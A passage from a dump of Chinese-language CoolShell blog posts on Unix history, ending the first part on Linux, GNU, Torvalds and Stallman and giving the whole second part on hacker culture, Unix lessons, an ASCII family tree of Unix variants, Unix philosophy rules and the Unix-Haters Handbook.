1.0已经是一个功能完备的操作系统，而且内核写得紧凑高效，可以充分发挥硬件的性能，在4M内存的80386机器上也表现得非常好，至今人们还在津津乐道。时至今日，kernel的版本已经出到2.6。Linux的发展不像传统的软件工程，它完全是透过网络，集合世界各地的高手而成的一套操作系统，在这里我们也可以见识到网络快速传播的威力。Linux初次让整个世界感觉到了开源力量和网络力量的如此强大。（Linux 的标志和吉祥物是一只名字叫做 Tux 的 企鹅，标志的由来是因为Linus在澳洲时曾被一只动物园里的企鹅咬了一口，便选择了企鹅作为Linux的标志。）</p>\n<p>Linux 的历史是和GNU紧密联系在一起的。从1983年开始的GNU计划致力于开发一个自由并且完整的类Unix操作系统，包括软件开发工具和各种应用程序。到1991年 Linux 内核发布的时候，GNU已经几乎完成了除了系统内核之外的各种必备软件的开发。在 Linus Torvalds 和其它开发人员的努力下，GNU组件可以运行于Linux内核之上。整个内核是基于 GNU 通用公共许可，也就是GPL（GNU General Public License，GNU通用公共许可证）的，但是Linux内核并不是GNU 计划的一部分。1994年3月，Linux1.0版正式发布，Marc Ewing成立了 Red Hat 软件公司，成为最著名的 Linux 分销商之一。</p>\n<p>严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU 工程各种工具和应用程序的操作系统(也被称为GNU/Linux)。基于这些组件的Linux软件被称为Linux发行版。一般来讲，一个Linux发行套件包含大量的软件，比如软件开发工具，数据库，Web服务器（例如Apache)，X Window，桌面环境（比如GNOME和KDE），办公套件（比如OpenOffice.org），等等。</p>\n<p>1991至1995年间，Linux从概念型的0.1版本内核原型，发展成为能够在性能和特性上均堪媲美专有Unix的操作系统，并且在连续正常工作时间等重要统计数据上打败了这些Unix中的绝大部分。1995年，Linux找到了自己的杀手级应用——开源的web服务器Apache。就像Linux，Apache出众地稳定和高效。很快，运行Apache的Linux机器成了全球ISP平台的首选。约60%的网站选用Apache，轻松击败了另两个主要的专有型竞争对手。今天的LAMP（Linux , Apache, MySQL, PHP）已经成为了架构Web服务器的主要首选。</p>\n<p> 现如今的Linux不但可以装在几乎所有的主流服务器上，当然也包括桌面的X86系统中。其还常常被用于嵌入式系统，机顶盒、手机、交换机、游戏机、PDA、网络交换机、路由器、等等，都是因为Linux那精彩的内核。</p>\n<p>Linux的出现，不仅仅给世界带来了一个免费的操作系统，也不仅仅是对Unix自由、共享的文化的延续，它的出现带给了计算机世界自Unix、GNU以来更为成熟的思想和文化。</p>\n<h3>Linux今天的领袖</h3>\n<p><strong> </strong></p>\n<p>Linux和GNU关系是比较微妙的。那时，自由软件基金会编写的用户软件工具包铺平了一条摆脱高成本专有软件开发工具的前进道路。意识服从经济，而不是领导：一些新手加入了RMS的革命运动，高举GPL大旗，另一些人则更认同整体意义上的Unix传统，加入了反对GPL的阵营，但其他大部分人置身事外，一心编码。</p>\n<p>Linus Torvalds巧妙地跨越了GPL和反GPL的派别之争。他利用GNU工具包搭起了自创的Linux内核，用GPL的传染性质保护它，但拒绝认同Richard Stallman的许可协议反映的思想体系计划。Linus Torvalds明确表示他认为自由软件一般情况下更好，但他偶尔也用专有软件。即使在他自己的事业中，他也拒绝成为狂热分子。这一点极大地吸引了大多数黑客，他们虽然早就反感Richard Stallman的言辞，但他们的怀疑论一直缺个有影响力或者令人信服的代言人。而Linus Torvalds正好充当了这一角色。</p>\n<p> <img align=\"right\" alt=\"\" src=\"http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Linus_Torvalds.jpg\"/>Linus Torvalds令人愉快的实用主义及灵活而低调的行事风格，促使黑客文化在1993至1997年间取得了一连串令人惊奇的胜利，不仅仅在技术上的成功，还让围绕Linux操作系统的发行、服务和支持产业有了坚实的开端。结果，他的名望和影响也一飞冲天。Torvalds成为了互联网时代的英雄；到1995年为止，他只用了四年时间就在整个黑客文化界声名显赫，而Richard Stallman为此花了十五年，而且他还远远超过了Stallman向外界贩卖“自由软件”的记录。与Torvalds相比，Richard Stallman的言辞渐渐显得既刺耳又无力。（参看《<a href=\"https://coolshell.cn/articles/1278.html\" rel=\"bookmark\" target=\"_blank\">Linus Torvalds 语录 Top 10</a>》）</p>\n<p>今天，我们也说不清楚是GNU Linux还是Linux GNU。Linux既不排斥开源，也不排斥商业化，Linus认为好的软件是需要免费和商业化共同推进的。正是这种革命性的想法，造就了今天的Linux火红的局面（参看《<a href=\"https://coolshell.cn/articles/1360.html\" rel=\"bookmark\" target=\"_blank\">谁写了Linux</a>》、《<a href=\"https://coolshell.cn/articles/1283.html\" rel=\"bookmark\" target=\"_blank\">Linux基金会的广告</a>》、《<a href=\"https://coolshell.cn/articles/85.html\" rel=\"bookmark\" target=\"_blank\">Linux Distribution Timeline</a>》）。Linux就像一股清泉流入了所有人的心中，引发了很多的启迪和思考。</p>\n<p><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\"><strong>Unix传奇（下篇） &gt;&gt;&gt;&gt;</strong></a></p>\n<h2><strong>(</strong><strong>转载时请注明作者和出处。未经许可，请勿用于商业用途</strong><strong>)</strong></h2>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-9 Unix传奇(下篇).html",
    "content": "<html><body><p></p>\n<div>\n<p><span style=\"color: #888888;\">【本文曾于2007年3月于</span><a href=\"http://blog.csdn.net/haoel\" target=\"_blank\"><span style=\"color: #0000ff;\">我在CSDN上的BLOG</span></a><span style=\"color: #888888;\">发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】</span></p>\n<hr/>\n<p><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\"><strong>&lt;&lt;&lt;&lt;   Unix传奇（上篇）</strong></a></p></div>\n<div></div>\n<div>Unix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《<a href=\"https://coolshell.cn/articles/1032.html\" rel=\"bookmark\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a href=\"https://coolshell.cn/articles/1023.html\" rel=\"bookmark\">Unix 40年：昨天，今天和明天</a>》）。由它引发的思想变革，对当今计算机文化造成的深远影响。这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。</div>\n<div></div>\n<div>\n<p><strong><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a></strong></p>\n<ul>\n<li>Unix与黑客文化</li>\n<li>Unix的历史教训</li>\n<li>Unix 家族谱</li>\n<li>Unix的特点</li>\n<li>Unix的影响和哲学</li>\n<li>Unix痛恨者手册</li>\n</ul>\n</div>\n<p><span id=\"more-2324\"></span></p>\n<div>\n<ul></ul>\n<p><strong><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a></strong></p>\n<ul>\n<li>Unix起源</li>\n<li>Unix分裂</li>\n<li>Unix的法律纠纷</li>\n<li>GNU开源组织</li>\n<li>Linux横空出世</li>\n<li>Linux今天的领袖</li>\n</ul>\n</div>\n<h3>Unix与黑客文化</h3>\n<p>黑客的文化和Unix的商业化存在着必然的联系。自从Unix出现，黑客文化就与之而来。</p>\n<p>1993初，一个悲观的观察家撰文指出，已经有理由认为Unix的传奇故事连同他带有黑客文明将一同破产。许多人预测，从那时起Unix将在六月内死亡。他们很清楚，十年的Unix商业化，使自由跨平台的Unix梦以失败告终。Unix允诺的跨平台可移植性，在一打大公司专有的Unix版本之间不停地斗嘴中丢失，一个完美的操作系统最终沦为多种版本的一团乱麻，这应该说是人类文明史上的一个重大悲剧。</p>\n<p>在专有软件社会中，只有像微软一样的“集权制，大教堂”生产方式才能成功。那个时代的人悲观地相信，技术世界的个人英雄主义时代已经结束，软件工业和发展中的互联网络将逐渐地由像微软一样的巨型企业支配，再也没有“佐罗”，世界是恺撒大帝的世界，计算机文明将进入黑暗的帝国时代。黑客已经死了，自由不付存在。</p>\n<p>自从Unix出现以来，第一代的Unix黑客似乎垂垂老矣，衣食不饱( Berkeley计算机科学研究组在1994丢失了自己基金)。这是一个抑压的时代。专有的商业Unix的结果证明那么沉重、那么盲目、那么不适当，以致微软能够用那次等技术的Windows抢走他们生存的空间，拿走他们的干粮。黑客世界的残余力量被逼到了世界上的角落里，苟延残喘。</p>\n<p>就在黑客文化日渐衰落之时，美国新闻周刊的资深记者Steven Levy完成了著名的《黑客列传》一书，书中着力介绍了一个人物：Richard M. Stallman的故事，他是麻省理工学院（MIT）人工智能实验室领袖人物，坚决反对实验室的研究成果商业化。他是商业软件社会中坚强的一员，决不随波逐流，建立了全新的黑客文化。</p>\n<p>Richard M. Stallman（他的登陆名RMS更为人熟知）早在1970年代晚期就已经证明他是当时最有能力的程序员之一。Emacs编辑器就是他众多发明中的一项。RMS的目标是将后1980的松散黑客社群变成一台有组织的社会化机器以达到一个单纯的革命目标。也许他未意识到，他的言行与当年卡尔·马克思号召产业无产阶级反抗工作的努力如出一辙。RMS宣言引发的争论至今仍存于黑客文化中。他的纲要远不止于维护一个代码库，已经暗含了废除软件知识产权主张的精髓。RMS通过“自由软件（free software）”让黑客文化更加有自我意识。当然，这个充满魅力又具争议的人物本身已经成为了一个黑客文化英雄。</p>\n<p><em>只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。 </em><em>——</em>《<em>The Art of Unix Programming</em>》<em> </em></p>\n<p>RMS让世界上所有的人都知道，入侵电脑系统只是低级不入流的黑客干的事，真正的黑客，是为了自由，为了软件的自由，为了挑战计算机世界中的霸权主义而斗争。他们不是街头小混混，他们更像是绿林好汉，更像是罗宾汉，更像是佐罗。就像渴望民主的人民同专制的政府斗争一样。RMS领导着许多的黑客通过互联网向专有软件发出宣战。</p>\n<p>X Windows是首批由服务于全球各地不同组织的许多个人以团队形式开发的大规模开源项目之一。电子邮件使创意得以在这个群体中快速传播，问题由此得以快速解决，而开发者可以人尽其才。软件更新可以在数小时之内发送到位，使得每个节点在整个开发过程中步调一致。网络改变了软件的开发模式。</p>\n<p>另一方面，RMS的理论体系有许多东西非常有争议，他的GPL被认为是一种“病毒式”的协议，BSD的fans和老牌Unix黑客们认为，他们编写Unix的年头都比GPL声明要长得多，GPL依然有太多的限制，而BSD协议则比GPL更加的自由。另一方面，RMS走向了另一个极端，他是完全反版权的，反商业化的。把软件产品从强制收费推向了强制免费、共享和开源，这也为他带来了许多许多的争议。</p>\n<p>在RMS组织黑客闹革命的年代里，没有多少黑客认同于RMS的理论体系，更多的他们参与GNU只是为了体现那种在互联网上协同工作，令人激动的工作模式。自从GNU设立以来，争议不断，而黑客文化却从未有统一在他的理想体系之下。</p>\n<p>自从Linux出现以后，一个新的黑客领袖出现了，Linus Torvalds的中庸态度网聚了世界上顶尖的黑客，其绕过了GPL和反GPL的派系之争，他使用GNU的工具从而以GPL的“传染性”保护了Linux，但他同时也不承认RMS的理论思想体系，他即开源，又支持商业化。虽然，他没有带给黑客们什么重要的思想体系或统一的价值观，但他整合了全世界黑客的阵营，让所有的黑客的行为都围绕着Linux这一事物进行。他以“用自由软件是因为它运行得更好”轻而易举地盖过了“用自由软件是因为所有软件都该是自由的”。</p>\n<p>1998年初，这种新思潮促使网景公司（Netscape Communications）公布了其Mozilla浏览器的源码。媒体对此事件的关注促成了Linux在华尔街的上市，推动了1999－2001年间科技股的繁荣。事实证明，此事无论对黑客文化的历史还是对Unix的历史都是一个转折点。</p>\n<h3>Unix的历史教训</h3>\n<p>下面的文字出自《<em>The Art of Unix Programming</em>》（Unix编程艺术）。令今天我们所有人所反思。</p>\n<p>在Unix历史中，最大的规律就是： （看看《<a href=\"https://coolshell.cn/articles/1360.html\" rel=\"bookmark\" target=\"_blank\">谁写了Linux</a>》你就会知道这一规律）</p>\n<p><strong>距开源越近就越繁荣。任何将Unix</strong><strong>专有化的企图，只能陷入停滞和衰败。</strong></p>\n<p>回顾过去，我们早该认识到这一点。1984年至今，我们浪费了十年时间才学到这个教训。如果我们日后不思悔改，可能还得大吃苦头。</p>\n<p>虽然我们在软件设计这个重要但狭窄的领域比其他人聪明，但这不能使我们摆脱对技术与经济相互作用影响的茫然，而这些就发生在我们的眼皮底下。即使Unix社区中最具洞察力、最具远见卓识的思想家，他们的眼光终究有限。对今后的教训就是：<strong>过度依赖任何一种技术或者商业模式都是错误的</strong>——相反，保持软件及其设计传统的的灵活性才是长存之道。</p>\n<p>另一个教训是：<strong>别和低价而灵活的方案较劲</strong>。或者，换句话说，低档的硬件只要数量足够，就能爬上性能曲线而最终获胜。经济学家Clayton Christensen称之为“破坏性技术”，他在《创新者窘境》（The Innovator’s Dilemma）[Christensen]一书中以磁盘驱动器、蒸汽挖土机和摩托车为例阐明了这种现象的发生。当小型机取代大型机、工作站和服务器取代小型机以及日用Intel机器又取代工作站和服务器时，我们也看到了这种现象。开源运动获得成功正是由于软件的大众化。Unix要繁荣，就必须继续采用吸纳低价而灵活的方案的诀窍，而不是去反对它们。</p>\n<p>最后，旧学派的Unix社区因采用了传统的公司组织、财务和市场等命令机制而最终未能实现“职业化”。只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。</p>\n<h3>Unix族谱</h3>\n<p>Unix的故事仍旧延续着……，许多网站也为这段历史留下记录。一个详细记录Unix历史的网站（http://www.levenez.com/unix/），这个网站忠实记载着1969～2005 年Unix发展的大事，而且还有 PDF 档案可供下载，上面有一个庞大的UNIX家族版本树，让人叹为观止。网站的首页陈列每个时期Unix的历史，也代表着无数工程师的心血与努力。</p>\n<p>下面是一个简单的Unix的族谱：</p>\n<pre>     |--AT&amp;T (1969)-----\\\n     |                  |\n     |              V6 (1976)\n     |                  |\n     |              V7 (1979)\n     |                  |\n     |   Novell owns AT&amp;T's Unix (by 1994)\n     |     _____________|____________________\n     |     |       |      |        |         |\n     |    AIX    IRIX    SCO   HP-UX   Solaris 2.X\n     |   (IBM)   (SGI)          (HP)     (Sun)\n     |\n     |\n     |--Berkley (1977)-----\\\n     |                     |\n     |                  1BSD (1977)\nUNIX-|                     |\n     |                4.4BSD (1993)\n     |                     |\n     |                   Net/2\n     |                     |\n     |               4.4BSD-Lite (by 1995)\n     |     ________________|____________________________________\n     |     |       |          |         |          |            |\n     |   SunOS   Ultrix   NetBSD    OSF/1   NeXTSTEP   Mac OS X\n     |   (Sun)   (DEC)   (Various)  (DEC)    (NeXT)    (Apple)\n     |                   (FreeBSD)\n     |\n     |\n     |--Hybrids----\\\n                   |\n                Linux (Various)\n                   |\n                   |____________________________________________\n                   |    |      |          |              |      |\n                   | RedHat  Debian  Mandrake   Slackware    S.u.S.E.\n                   |                          (Walnut Creek)\n                   |\n                   |_____________________________________________\n                       |        |           |          |        |\n                    MkLinux  LinuxPPC  TurboLinux  OpenLinux  CorelLinux\n                    (Apple)                        (Caldera)   (Corel)</pre>\n<p>点些查看《<a href=\"https://coolshell.cn/articles/85.html\" rel=\"bookmark\" target=\"_blank\">Linux 分发包族谱</a>》</p>\n<h3>Unix的特点</h3>\n<p>现在的文献中提到Unix基本上是说，由Ken Thompson和Dennis Ritchie共同开发的。而通过历史我们也能发现，Unix的主要是由Ken Thompson写下的。但在学术界，Dennis Ritchie的名字往往被排在了Ken Thompson前面的。这就是因为，Dennis Ritchie不但发明了C语言，而且当时他设计Unix操作系统的设计思想，影响了整个世界，直到今天。</p>\n<p>当时，他们开发UNIX，没有正式立项，是Ken Thompson和Dennis Ritchie等少数几个人偷偷干的，如果一切都要从头从新设计，那几乎是不可能的。所以，Unix吸取与借鉴了Multics的经验，如内核，进程，层次式目录，面向流的I/O，把设备当作文件，……等等。但是Unix在继承中又有创新，比如Unix采用一种无格式的文件结构，文件由字节串加\\0组成。这带来两大好处：一是在说明文件时不必加进许多无关的“填充物”，二是任何程序的输出可直接用作其他任何程序的输入，不必经过转换。后面这一点叫做“管道”(piping)，这就是Unix首创的。此外，像把设备当作文件，从而简化了设备管理这一操作系统设计中的难题，虽然不是UNIX的发明，但是实现上它采用了一些新方法，比Multics更高明一些。</p>\n<p>下面是Unix的特点：（30多年过去了，这些东西早已变成经典）</p>\n<ul>\n<li><strong>Everything (including hardware) is a file<br/>\n</strong>所有的事物（甚至硬件本身）都是一个的文件。</li>\n<li><strong>Configuration data stored in text<br/>\n</strong>以文本形式储存配置数据。</li>\n<li><strong>Small, single-purpose program<br/>\n</strong>程序尽量朝向小而单一的目标设计</li>\n<li><strong>Avoid captive user interfaces<br/>\n</strong>尽量避免令人困惑的用户接口</li>\n<li><strong>Ability to chain program together to perform complex tasks<br/>\n</strong>将几个程序连结起来，处理大而复杂的工作。</li>\n</ul>\n<h3>Unix的影响和哲学</h3>\n<p>Unix是第三次工业革命中计算机软件领域最具代表性的产物。在这近40年中，由Unix造成的影响是最有深远意义的。就我看来，Unix为软件领域带来了至少以下有积极的东西，由这些东西所引发的直接或间接的事物更是举不胜数。</p>\n<ol>\n<li>软件开发的若干哲学和思想。</li>\n<li>全民参与推动软件，代码共享的模式。</li>\n<li>开启了黑客文化和开源项目。</li>\n<li>免费和商业的完美结合的Linux。</li>\n<li> C语言，而后发展的C++，Java等等类C的语言和脚本。（参看《<a href=\"https://coolshell.cn/articles/1984.html\" rel=\"bookmark\" target=\"_blank\">C语言的演变史</a>》）</li>\n<li> TCP/IP，其的Socket编程已成为今天通用的网络编程主流。（参看《<a href=\"https://coolshell.cn/articles/1532.html\" rel=\"bookmark\" target=\"_blank\">到处都是Unix的胎记</a>》）</li>\n</ol>\n<p>不能不说，AT&amp;T虽然发展了Unix，但今天Unix的混乱的局面也和AT&amp;T 有着直接原因。但反过来说，如果没有AT&amp;T的反面教材，今天的GNU/Linux很有可能也不会出现。AT&amp;T究竟是限制了Unix的发展，还是以反面示例促进了Unix社区，已不好评说。今天，软件是商业化好还是开源好的争论还在继续，纵观这几十年来Unix的历史，Linux的划时代地出现。相信你会得出自己的结论。不管怎么样，Unix的经历对计算机领域贡献的不单单是技术，他给我们提供了丰富而生动的教材。特别是Unix引发的哲学，让今天的我们依然受益不浅。</p>\n<p>说到Unix为我们所带来的软件开发的哲学，我必需要说一说。Unix遵循的原则是KISS（Keep it simple, stupid）。在<a href=\"http://en.wikipedia.org/wiki/Unix_philosophy\">http://en.wikipedia.org/wiki/Unix_philosophy</a> 上有很多的基本上大同小异的Unix哲学，都是很经典的。</p>\n<p>Doug McIlroy 是认为UNIX的哲学是这样的：三条哲学，简明扼要，就是这三条哲学贯穿着整个Unix世界。尤其是第一条“do one thing and do it well”真是相当精彩！</p>\n<ul>\n<li><strong>Write programs that do one thing and do it well.</strong></li>\n<li><strong>Write programs to work together.</strong></li>\n<li><strong>Write programs to handle text streams, because that is a universal interface.</strong></li>\n</ul>\n<p>只要是Unix的程序员，他们会比别的程序员在任何时候都会不停地强调着这三条哲学。</p>\n<p>而《<em>The Art of Unix Programming</em>》总结了下面这些哲学，都是至理名言啊。</p>\n<ul>\n<li>Rule of Modularity: Write simple parts connected by clean interfaces.</li>\n<li>Rule of Clarity: Clarity is better than cleverness.</li>\n<li>Rule of Composition: Design programs to be connected to other programs.</li>\n<li>Rule of Separation: Separate policy from mechanism; separate interfaces from engines.</li>\n<li>Rule of Simplicity: Design for simplicity; add complexity only where you must.</li>\n<li>Rule of Parsimony: Write a big program only when it is clear by demonstration that nothing else will do.</li>\n<li>Rule of Transparency: Design for visibility to make inspection and debugging easier.</li>\n<li>Rule of Robustness: Robustness is the child of transparency and simplicity.</li>\n<li>Rule of Representation: Fold knowledge into data so program logic can be stupid and robust.</li>\n<li>Rule of Least Surprise: In interface design, always do the least surprising thing.</li>\n<li>Rule of Silence: When a program has nothing surprising to say, it should say nothing.</li>\n<li>Rule of Repair: When you must fail, fail noisily and as soon as possible.</li>\n<li>Rule of Economy: Programmer time is expensive; conserve it in preference to machine time.</li>\n<li>Rule of Generation: Avoid hand-hacking; write programs to write programs when you can.</li>\n<li>Rule of Optimization: Prototype before polishing. Get it working before you optimize it.</li>\n<li>Rule of Diversity: Distrust all claims for “one true way”.</li>\n<li>Rule of Extensibility: Design for the future, because it will be here sooner than you think.</li>\n</ul>\n<p>X Windows 的设计者 Mike Gancarz 给出了下面九条哲学思想</p>\n<ol>\n<li><em>Small is beautiful.</em></li>\n<li><em>Make each program do one thing well.</em></li>\n<li><em>Build a prototype as soon as possible.</em></li>\n<li><em>Choose portability over efficiency.</em></li>\n<li><em>Store data in flat text files.</em></li>\n<li><em>Use software leverage to your advantage.</em></li>\n<li><em>Use shell scripts to increase leverage and portability.</em></li>\n<li><em>Avoid captive user interfaces.</em></li>\n<li><em>Make every program a filter.</em></li>\n</ol>\n<p>在今天，这种思想依然被传承着，在影响着世界上各个角落的每一个程序员。</p>\n<h3>Unix痛恨者手册</h3>\n<p>这里还需要值得一提的是一本叫《The Unix-Haters Handbook》，中文译做《Unix痛恨者手册》。可以在这里下载：<a href=\"http://research.microsoft.com/~daniel/uhh-download.html\">http://research.microsoft.com/~daniel/uhh-download.html</a>。其中以调侃的语气声讨了Unix的种种不是。虽然这是十年前的一本书了，但还是值得一读。这本书指出了许多Unix的设计错误，指出了种种看起来很合理的设计走向了荒谬，还这样调侃了C语言——“如果说C语言给足了让你上吊的绳子，那么，C++在给了你足够的绳子把你的邻居全部捆起来之后，还给了你足够的绳子让你为一艘小帆船装上帆，最后你还有足够的绳子把自己吊死在帆船的桅杆上”。呵呵，相当的尖酸刻薄吧。里面有一句对操作系统的评价是这样的：“The fundamental difference between Unix and the Macintosh operating system is that <strong>Unix was designed to please programmers</strong>, whereas the Mac was designed to please users. (Windows, on the other hand, was designed to please accountants.”（Windows设计给会计人员？！连计算机用户都不是了，呵呵）</p>\n<p>不过，我可以感觉得到这本书的作者在书中对Unix的感情是比较复杂的，爱恨交加，在书的最后有这样一句话“would anyone have spent this much time and effort writing about how much they hated Unix if they didn’t secretly love it? I’ll leave that to the readers to judge, but in the end, it really doesn’t matter: If this book doesn’t kill Unix, nothing will”。是的，如果Unix能够存活这么长的时间，那么，不会有什么东西可以把他消灭了。</p>\n<p>从《Unix痛恨者手册》这本书，再加上Unix的历史，我们可以感到Unix的经历的风风雨雨，在Unix上面出现有种种教训，近40年的历程，Unix历经磨难，几近夭折，一路走来的确很不容易，让人由衷感叹。今天的Unix，今天的软件工业和以前相比已是不可同日而语。很大程度上，这些都要归功于这个充满苍桑的Unix。</p>\n<h3>后记</h3>\n<p>在中国我们开始学习计算机的时候，我们被Microsoft所创造的文化所笼罩里。就在Unix出现革命性的转变，在Unix影响计算机世界文化的那几年里，科班出生专业开发人员学习的是MS-DOS和微软的文化，我们犹如一个井底之蛙一样，对外面的翻天覆地的变化无动于衷。微软创造的文化在我们这里尤其地根深蒂固，我们几乎忘记了另外一边的Unix（参看《<a href=\"https://coolshell.cn/articles/1032.html\" rel=\"bookmark\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a href=\"https://coolshell.cn/articles/1023.html\" rel=\"bookmark\">Unix 40年：昨天，今天和明天</a>》）。</p>\n<p>在那充满激情的Unix的岁月里，大伙为了科研目的或个人兴趣在Unix上进行各种开发，并且不计较金钱利益，将这些源码公开，互相共享。在那里，开发和自由成为主题，正因为如此，当今的世界才如此丰富多采。在40年Unix文化和技术积淀的里面，蕴涵着比较纯正的计算机文化和思想。</p>\n<p>纵观整个Unix的历史过程中，许许多多的程序员、工程师前辈们在Unix中所摸爬滚打，他们的辛勤地、他们呕心沥血地跟随Unix，努力建立一个繁荣的计算机世界的文明。Unix不是一个简简单单的操作系统。有人说，Unix是程序员设计给程序员的，一点没错。Unix的近40年历史造就了它的博大精深，它给程序员们带来的绝不仅仅只是技术上的知识。它的失误，它的无奈，它的精神，它的荣耀，它从技术和思想上都启迪着我们。对于程序员来说，学习Unix就等同于向前辈程序学习。无论你是什么样的程序员，你都应该了解Unix，这是开发人员的根，前面的开发者造就了它，而它又在引领后面的开发人员，它是前辈程序员们交给我们的一份礼物，一个接力棒，它是开发人员赖以生存的土壤，是上一辈程序员留给我们这一代程序员开启未来的钥匙。Unix就像一个程序员教父一样，理当受到我们的尊敬和崇拜。</p>\n<h3>参考资料</h3>\n<ul>\n<li>Peter H. Salus 的《<em>A Quarter Century of UNIX</em>》，这被认为是UNIX的标准历史。</li>\n<li>Eric S. Raymond 的《<em>The Art of Unix Programming</em>》</li>\n<li><a href=\"http://www.wikipedia.org/\">http://www.wikipedia.org/</a> 维基百科</li>\n<li><a href=\"http://www.computerhope.com/history/\">http://www.computerhope.com/history/</a> Computer History</li>\n<li><a href=\"http://www.lotsir.com/Blog/article.asp?id=494\">http://www.lotsir.com/Blog/article.asp?id=494</a> Lotsir’s Blog — 《<em>Unix&amp;Linux</em><em>历史重温</em>》</li>\n<li><a href=\"http://www.aka.org.cn/Docs/hacker-history.html\">http://www.aka.org.cn/Docs/hacker-history.html</a> 《<em>黑客文化简史</em>》</li>\n<li><a href=\"http://www.simson.net/ref/ugh.pdf\">http://www.simson.net/ref/ugh.pdf</a> 《<em>The UNIX-HATERS Handbook</em>》</li>\n<li><a href=\"http://free-electrons.com/doc/free_software/img0.html\">http://free-electrons.com/doc/free_software/img0.html</a> 《<em>GNU/Linux Free Software</em>》幻灯片</li>\n<li><a href=\"http://cm.bell-labs.com/cm/cs/who/dmr/hist.html\">http://cm.bell-labs.com/cm/cs/who/dmr/hist.html</a> <em>Dennis M. Ritchie </em>《<em>The Evolution of the Unix Time-sharing System</em>》</li>\n</ul>\n<h2>(转载时请注明作者和出处。未经许可，请勿用于商业用途)</h2>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> 